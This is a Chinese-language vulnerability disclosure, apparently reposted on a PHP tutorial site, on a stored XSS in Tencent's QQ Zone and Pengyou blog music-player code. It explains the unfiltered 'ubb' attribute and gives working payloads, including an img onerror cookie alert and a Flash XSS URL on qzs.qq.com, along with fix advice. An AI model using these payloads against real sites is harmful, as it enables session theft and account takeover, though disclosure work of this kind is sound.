来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 此漏洞影响腾讯2大主要的社区日志功能,QQ空间和朋友网的前端和后端是一套逻辑,就不分开提交了。漏洞相关信息日后会同步至pkav.net。缺陷文件:http://cnc.qzs.qq.com/qzone/newblog/v5/scrip...
此漏洞影响腾讯2大主要的社区日志功能,QQ空间和朋友网的前端和后端是一套逻辑,就不分开提交了。漏洞相关信息日后会同步至pkav.net。 缺陷代码: QZBlog.Logic.initMusicPlayer = function() {
2. 它的大致流程如下: 2.1 搜索日志里所有name="musicFlash**"的元素。然后循环对每一个元素处理 2.2 拿一次循环为例,可以看到取出了name="musicFlash**"元素的 ubb 属性。 2.3 而后,在span.innerHTML这段代码中, ubb="' + ubb + '" 这个地方直接加了进去。 2.4 因此这里没有做过滤,会造成XSS。 3. 那么利用代码怎么写呢? 因为日志功能是富文本,不可能屏蔽掉所有的HTML标签。div 标记一般是允许的。那么我们利用div来编写利用代码。 <div name="musicFlash**" ubb=""></object><img src="1" onerror="alert(document.cookie);"><i a="">xxxxxxxxx</div>
主要是这句:如下图: www.2cto.com
6. 其实这里还存在一个问题。最初测试时,发现腾讯并没有过滤掉object标签,只是对object调用的swf文件的域进行了限制。也就是说 ,发送一下HTML,是不会被过滤掉的 <div class="blog_details_20120222"><div><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://qzs.qq.com/22222222222.swf" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="musicFlash0" ubb='3041135817|1|http://1.qq.com/1"><img/src="1"onerror="alert(1)">'><param name="movie" value="http://qzs.qq.com/22222222222.swf" /><param name="data" value="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object><br></div></div>
7. 更重要的是,这里的allowscriptaccess是等于always的。 8. 那么我们只要找到一个 http://qzs.qq.com 域名下,具有缺陷的FLASH XSS即可。 9. google , site:qzs.qq.com filetype:swf ,找到下面这个。 http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}
<div class="blog_details_20120222"><div><object codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" src="http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" id="musicFlash0" ubb='3041135817|1|http://1.qq.com/1"><img/src="1"onerror="alert(1)">'><param name="movie" value="http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)}" /><param name="data" value="http://ctc.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="bgColor" value="#ffffff" /><param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" /></object><br></div></div>
2. 这个object的always,你们自己看着修复。本身object标签就是很危险的,感觉不应该直接输出到页面。 3. 修复 http://qzs.qq.com/qzone/mall/app/vip_reward/201110/swf/play.swf?flashInit=function(){alert(document.cookie)} |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com